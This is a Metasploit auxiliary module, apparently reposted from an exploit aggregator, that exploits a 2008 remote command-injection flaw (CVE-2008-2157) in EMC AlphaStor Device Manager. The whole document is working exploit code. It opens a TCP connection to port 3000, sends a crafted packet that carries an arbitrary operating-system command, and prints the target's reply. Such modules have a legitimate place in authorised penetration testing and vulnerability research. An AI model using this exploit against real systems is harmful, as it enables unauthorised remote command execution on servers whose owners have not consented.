Share
## https://sploitus.com/exploit?id=PACKETSTORM:180816
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'EMC AlphaStor Device Manager Arbitrary Command Execution',
'Description' => %q{
EMC AlphaStor Device Manager is prone to a remote command-injection vulnerability
because the application fails to properly sanitize user-supplied input.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=703' ],
[ 'OSVDB', '45715' ],
[ 'CVE', '2008-2157' ],
[ 'BID', '29398' ],
],
'DisclosureDate' => '2008-05-27'))
register_options(
[
Opt::RPORT(3000),
OptString.new('CMD', [ false, 'The OS command to execute', 'hostname']),
])
end
def run
connect
data = "\x75" + datastore['CMD']
pad = "\x00" * 512
pkt = data + pad
print_status("Sending command: #{datastore['CMD']}")
sock.put(pkt)
# try to suck it all in.
select(nil,nil,nil,5)
res = sock.get_once || ''
res.each_line do |info|
print_status("#{info.gsub(/[^[:print:]]+/,"")}") # hack.
end
disconnect
rescue ::Rex::ConnectionError => e
print_error 'Connection failed'
rescue ::EOFError => e
print_error 'No reply'
end
end